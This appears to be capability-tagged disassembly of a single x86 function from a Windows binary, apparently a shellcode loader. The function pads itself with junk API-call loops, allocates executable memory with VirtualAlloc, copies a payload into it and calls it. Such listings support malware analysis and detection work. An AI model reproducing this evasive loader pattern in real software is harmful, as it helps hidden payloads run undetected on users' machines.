Function at 0x403210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x48b3e8
push eax
mov dword fs:[0], esp
sub esp, 0x824
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x403240
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x403254
inc esi
cmp esi, 0x73f04bd
jl 0x403240
cmp dword [0x495dec], 0x400
jne 0x4032f3
push ebx
lea eax, [ebp - 0x430]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x2c], cx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00403914
push ebx
call fcn.00403be2
add esp, 0xc
push ebx
push ebx
push ebx
call fcn.00403e41
add esp, 0xc
push ebx
call fcn.00403f3d
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403c60
fstp st(0)
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403900
fstp st(0)
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 8
jb 0x4032f3
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00403dac
add esp, 4
cmp dword [0x495dec], 0x93
jne 0x40333c
xor eax, eax
lock bts dword [eax], 0
push 0x4025d4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push ebx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push ebx
push ebx
call fcn.00403c90
push ebx
call fcn.00403c3e
add esp, 0xc
push ebx
call fcn.00403c54
add esp, 4
call fcn.00403200
mov eax, dword [0x490f04]
mov dword [0x496c28], eax
mov eax, dword [0x495dec]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x495dec], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x49587c], eax
mov esi, 0x1692e
mov edi, edi
push ebx
call edi
sub esi, 1
jne 0x403370
cmp dword [0x495dec], ebx
jbe 0x4033e4
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
lea esp, [esp]
mov ecx, dword [0x496c28]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x49587c]
mov byte [eax + esi], dl
cmp dword [0x495dec], 0x490
jne 0x4033d9
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x10]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
inc esi
cmp esi, dword [0x495dec]
jb 0x403390
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenEventW]
xor esi, esi
mov eax, dword [0x495dec]
add eax, esi
cmp eax, 0x8d
jne 0x403427
push 0
lea ecx, [ebp - 0x430]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x38681
jl 0x4033f2
call fcn.00403170
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ebx, ebx
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x40344a
call edi
cmp esi, 0x207142
jg 0x40345b
inc esi
cmp esi, 0x67d12
jl 0x403440
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x61
jne 0x40347d
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0x49587c], eax
inc esi
cmp esi, 0x674bd
jl 0x403463
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 0x10], 0x7b
nop
cmp dword [0x495dec], 0x86
jne 0x4034d5
push 0
call esi
push 0
lea ecx, [ebp - 0x830]
push ecx
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x495dec], 0xf
jne 0x4034e8
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub dword [ebp - 0x10], 1
jne 0x4034a0
push 0x4025f8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x49587c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret